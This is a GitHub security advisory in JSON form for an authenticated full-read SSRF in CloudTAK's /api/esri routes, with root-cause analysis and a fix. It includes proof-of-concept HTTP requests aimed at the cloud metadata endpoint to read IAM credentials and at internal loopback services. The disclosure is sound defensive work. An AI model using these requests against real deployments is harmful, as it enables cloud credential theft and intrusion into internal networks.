Authenticated full-read SSRF in CloudTAK /api/esri* routes — user-controlled URL fetched with no IP-classification guard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tak-ps/cloudtak"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T21:35:10Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Authenticated full-read SSRF in CloudTAK `/api/esri*` routes \u2014 user-controlled URL fetched with no IP-classification guard\n\n## Summary\n\nEvery route in the ESRI helper family (`api/routes/esri.ts`) takes a fully attacker-controlled URL from the request (`POST /api/esri` body `url`, and the `portal` / `server` / `layer` query parameters on the `GET /api/esri/*` routes) and passes it into `EsriBase` / `EsriProxyPortal` / `EsriProxyServer` / `EsriProxyLayer` in `api/lib/esri.ts`, which fetch it with the bare `fetch` from `@tak-ps/etl`. No IP / DNS / hostname classification is applied at any point, so the destination is never validated against private, loopback, or link-local ranges.\n\nAny authenticated user (the routes only require `Auth.is_auth(config, req, { anyResources: true })`, i.e. any token, not an admin) can therefore make the CloudTAK server issue arbitrary outbound GET/POST requests to internal addresses such as the cloud instance-metadata service (`169.254.169.254`), loopback admin ports (`127.0.0.1:\u003cport\u003e`), and other hosts reachable only from inside the deployment VPC.\n\nThis is a **full-read** SSRF, not blind: on success the upstream JSON body is returned to the caller via `res.json(...)`, and on failure the upstream error string is reflected verbatim as `ESRI Server Error: \u003cmessage\u003e`. An attacker can read cloud metadata (and the temporary IAM credentials the instance role exposes), enumerate internal services, and exfiltrate their response bodies.\n\nThe `sniff()` URL classifier provides no protection: it only pattern-matches the *pathname* (`/rest`, `/arcgis/rest`, `/sharing/rest`), so a URL like `http://169.254.169.254/arcgis/rest` or `http://127.0.0.1:8500/rest` passes `sniff()` and is fetched.\n\n## Affected versions\n\n* All versions up to and including **13.7.0** (latest at time of report).\n\nThe project already ships an SSRF guard helper \u2014 `isSafeUrl` from `@tak-ps/node-safeurl` \u2014 and wires it into the basemap, task, and video-service code paths, but the entire `/api/esri*` route family and the ESRI fetch library (`api/lib/esri.ts`) were never wired up, leaving the guard absent on this surface.\n\n## Vulnerable code\n\nAll permalinks are pinned to commit `c7433679d2107fa0258e9005069bc5b4ca5773aa` (release lineage of 13.7.0).\n\n**Routes \u2014 user input \u2192 ESRI fetch, no guard** (`api/routes/esri.ts`):\n\n* `POST /api/esri` \u2014 body `url` \u2192 `new URL(req.body.url)` \u2192 `EsriBase.from(url)`:\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L32-L64\n* `GET /api/esri/portal` \u2014 query `portal` \u2192 `new EsriBase(req.query.portal)` \u2192 `EsriProxyPortal.getPortal()`:\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L79-L98\n* `GET /api/esri/portal/content` \u2014 query `portal` \u2192 `EsriProxyPortal.getContent()`:\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L115-L139\n* `GET /api/esri/portal/server` \u2014 query `portal` \u2192 `EsriProxyPortal.getServers()`:\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L191-L212\n* `GET /api/esri/server` \u2014 query `server` \u2192 `EsriProxyServer.getList()`:\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L225-L249\n* `GET /api/esri/server/layer` \u2014 query `layer` \u2192 `EsriProxyLayer.sample()`:\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/esri.ts#L333-L356\n\n**Library \u2014 the `fetch` sinks** (`api/lib/esri.ts`), all reached with the user URL and none preceded by a guard:\n\n* `import { fetch } from \u0027@tak-ps/etl\u0027;`\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L6\n* `EsriBase.fetchVersion()` \u2014 `const res = await fetch(url);`\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L162-L187\n* `EsriBase.generateToken()` \u2014 `fetch(url, { method: \u0027POST\u0027, ... })`\n  https://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L107\n* `EsriProxyPortal.getContent` / `getPortal` / `getSelf` / `getServers` / `createService` \u2014 `fetch` at lines 283, 301, 330, 347, 371\n* `EsriProxyServer.deleteLayer` / `createLayer` / `getList` \u2014 `fetch` at lines 407, 433, 455\n* `EsriProxyLayer.tilejson` / `#sampleFeatures` \u2014 `fetch` at lines 503, 552\n\n**`sniff()` only inspects the pathname** (no host/IP check):\nhttps://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/lib/esri.ts#L142-L156\n\n**The guard exists elsewhere but is missing here** \u2014 for comparison, the basemap import path classifies the URL before fetching:\nhttps://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L85-L90\n\nNote also that the ESRI sub-branch inside `basemap.ts` (`isEsriLayerURL(...)` \u2192 `new EsriBase(...)` \u2192 `EsriProxyLayer.tilejson()`) reaches the same unguarded ESRI library and is therefore equally affected:\nhttps://github.com/dfpc-coe/CloudTAK/blob/c7433679d2107fa0258e9005069bc5b4ca5773aa/api/routes/basemap.ts#L770-L773\n\n`grep -c isSafeUrl api/routes/esri.ts api/lib/esri.ts` returns `0` and `0`.\n\n## Proof of concept\n\nPrerequisites: a running CloudTAK instance and a valid user token (any non-admin user account \u2014 the routes only call `Auth.is_auth(config, req, { anyResources: true })`).\n\n### 1. Read cloud instance metadata (credential theft)\n\n```http\nPOST /api/esri HTTP/1.1\nHost: cloudtak.example.org\nAuthorization: Bearer \u003cany-valid-user-token\u003e\nContent-Type: application/json\n\n{ \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/arcgis/rest\" }\n```\n\nThe server\u0027s `EsriBase.from()` calls `fetchVersion()` \u2192 `fetch(\u0027http://169.254.169.254/...?f=json\u0027)`. The path contains `/rest`, so `sniff()` classifies it as `SERVER` and the request proceeds. The metadata service\u0027s response body is read back to the attacker \u2014 either inside the successful JSON response, or reflected in the error string (`ESRI Server Error: \u003cupstream body fragment\u003e`). On AWS IMDSv1 deployments this yields the instance-role temporary credentials.\n\n### 2. Read an internal-only service over loopback / VPC (full-read)\n\n```http\nGET /api/esri/server?server=http://127.0.0.1:8500/rest HTTP/1.1\nHost: cloudtak.example.org\nAuthorization: Bearer \u003cany-valid-user-token\u003e\n```\n\n`new EsriBase(\u0027http://127.0.0.1:8500/rest\u0027)` \u2192 `EsriProxyServer.getList()` \u2192 `fetch(\u0027http://127.0.0.1:8500/rest?f=json\u0027)`. The full JSON returned by the internal service (here a Consul/admin port, but any internal host:port reachable from the CloudTAK box works) is reflected to the attacker via `res.json(list)`.\n\n`GET /api/esri/portal?portal=http://\u003cinternal-host\u003e/sharing/rest` and `GET /api/esri/server/layer?layer=http://\u003cinternal-host\u003e/rest/.../FeatureServer/0\u0026query=1=1` give the same full-read primitive on the other sub-routes.\n\n### 3. Negative control \u2014 unauthenticated is rejected\n\n```http\nPOST /api/esri HTTP/1.1\nHost: cloudtak.example.org\nContent-Type: application/json\n\n{ \"url\": \"http://169.254.169.254/latest/meta-data/arcgis/rest\" }\n```\n\nReturns `403 Authentication Required` (from `Auth.is_auth` \u2192 `api/lib/auth.ts:118`). The SSRF is reachable by any authenticated user but not by an anonymous one.\n\n### E2E reproduction (sink path against a controlled internal victim)\n\nBecause exercising the real route against a public cloud metadata endpoint is not something to do against third-party infrastructure, the sink was reproduced against a local internal-only victim using the **same `fetch` import (`@tak-ps/etl`) and the verbatim `EsriBase.sniff()` + `fetchVersion()` logic** the route uses. The harness models the route handler exactly: it `new URL()`s the user input, runs `sniff()`, then `fetch()`s \u2014 with `isSafeUrl` deliberately *not* called (matching shipped behavior), and a toggled control branch that calls it (matching the basemap guard).\n\nVictim (`victim.mjs`) \u2014 an internal-only service on `127.0.0.1:9099` returning a secret JSON body:\n\n```\n[victim] internal service listening on 127.0.0.1:9099\n[victim] HIT GET /arcgis/rest?f=json from 127.0.0.1\n```\n\nHarness output (`esri_ssrf_e2e.mjs`), user-supplied URL `http://127.0.0.1:9099/arcgis/rest`:\n\n```\n[VULN/no-guard] route returned full internal body:\n{\n  \"type\": \"SERVER\",\n  \"base\": \"http://127.0.0.1:9099/arcgis/rest\",\n  \"upstreamBody\": {\n    \"currentVersion\": \"11.4\",\n    \"internal-only\": true,\n    \"aws-metadata-simulated\": {\n      \"iam\": { \"role\": \"cloudtak-prod-instance-role\", \"AccessKeyId\": \"ASIA_FAKE_INTERNAL_KEY_DO_NOT_USE\" }\n    },\n    \"note\": \"If you can read this from a user-supplied URL, that is SSRF (full-read).\"\n  }\n}\n[CONTROL/guarded] blocked as expected: Blocked URL: blocked IP address: 127.0.0.1\n```\n\nAnd `isSafeUrl` confirms it *would* block the metadata / loopback targets if it were called on this path:\n\n```\nhttp://169.254.169.254/latest/meta-data/ =\u003e {\"safe\":false, ... \"reason\":\"blocked IP address: 169.254.169.254\"}\nhttp://127.0.0.1:9999/                  =\u003e {\"safe\":false, ... \"reason\":\"blocked IP address: 127.0.0.1\"}\nhttp://localhost/                       =\u003e {\"safe\":false, ... \"reason\":\"blocked hostname: localhost\"}\n```\n\nSo: with the shipped (no-guard) code the request reaches the internal victim and the full internal body is returned; with the basemap-style `isSafeUrl` guard the same request is blocked. (A full container OOM-style demonstration of reading real cloud metadata is intentionally not performed against live infrastructure; the victim-host reproduction is the honest, self-contained equivalent of the route\u0027s fetch path.)\n\n## Root cause\n\nTwo compounding gaps:\n\n1. **No IP/DNS classification before fetch.** `api/lib/esri.ts` imports the unguarded `fetch` from `@tak-ps/etl` and calls it with a URL derived directly from user input in every `EsriProxy*` method and in `EsriBase.fetchVersion()` / `generateToken()`. Nothing resolves the hostname and rejects private / loopback / link-local addresses. The repository already depends on `@tak-ps/node-safeurl` (`isSafeUrl`) precisely for this, and uses it in `api/routes/basemap.ts`, `api/routes/task.ts`, and `api/lib/control/video-service.ts` \u2014 but the guard was never added to the ESRI route family or to the ESRI library. This is an **incomplete migration**: the SafeURL hardening (PR #1468) covered basemap/task/video but left `/api/esri*` and `api/lib/esri.ts` (including the ESRI sub-branch of basemap import) unprotected.\n\n2. **`sniff()` validates the wrong thing.** The only inspection the URL receives before being fetched is `EsriBase.sniff()`, which pattern-matches the *pathname* for `/rest`, `/arcgis/rest`, or `/sharing/rest`. It never looks at the host, so an attacker simply appends `/rest` (or `/arcgis/rest`) to an internal URL and it is accepted and fetched.\n\n## Impact\n\n* **CWE-918 Server-Side Request Forgery**, full-read.\n* **Cloud credential theft:** reading `http://169.254.169.254/latest/meta-data/iam/security-credentials/...` (IMDSv1) yields the instance role\u0027s temporary AWS credentials, which an attacker can use against the deployment\u0027s cloud account.\n* **Internal network enumeration and data exfiltration:** any host:port reachable from the CloudTAK server (loopback admin ports, VPC-internal services, databases with HTTP interfaces, link-local) can be probed and, where the response is JSON-ish, read in full via the reflected response body / error string.\n* **Privilege required:** any authenticated user with any token (`anyResources: true`) \u2014 not limited to administrators. Unauthenticated requests are rejected (403), so this requires a valid account but no special role.\n\n## Fix\n\nCentralize the existing `isSafeUrl` guard inside the ESRI library so every `/api/esri*` route and the ESRI sub-branch of basemap import are covered by one chokepoint, mirroring the guard already used in `basemap.ts`:\n\n* Add an async URL-classification step that runs `isSafeUrl(...)` and throws `Blocked URL: \u003creason\u003e` for any URL that resolves to a private/loopback/link-local address, before the first `fetch` in `EsriBase` (e.g. in `EsriBase.from()` and a guarded constructor/init path, so both `new EsriBase(...)` + later proxy calls and `EsriBase.from(...)` are covered).\n* Preserve the existing `process.env.StackName !== \u0027test\u0027` test-mode skip used elsewhere so the test suite is unaffected.\n\nBecause all six routes funnel through `EsriBase` / the `EsriProxy*` classes in `api/lib/esri.ts`, guarding the library is sufficient and avoids re-introducing the same per-route omission. A reference patch implementing exactly this (guard added to the ESRI library + applied on the route entry points, matching the basemap pattern) is provided as a pull request from a private fork.\n\n## Disclosure\n\n* Reported by **tonghuaroot**.\n* Credit: tonghuaroot only.\n\n---\n\n**Reference fix PR (private advisory fork):** https://github.com/dfpc-coe/CloudTAK-ghsa-r95q-fp26-h3hc/pull/1 \u2014 commit `ff6dd1d9`, centralizing `isSafeUrl` inside `api/lib/esri.ts` (`safeFetch` wrapper + `EsriBase.assertSafe`).",
  "id": "GHSA-r95q-fp26-h3hc",
  "modified": "2026-07-17T21:35:10Z",
  "published": "2026-07-17T21:35:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-r95q-fp26-h3hc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dfpc-coe/CloudTAK"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dfpc-coe/CloudTAK/releases/tag/v13.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CloudTAK: Authenticated full-read SSRF in the /api/esri* routes \u2014 user-controlled URL fetched with no IP-classification guard"
}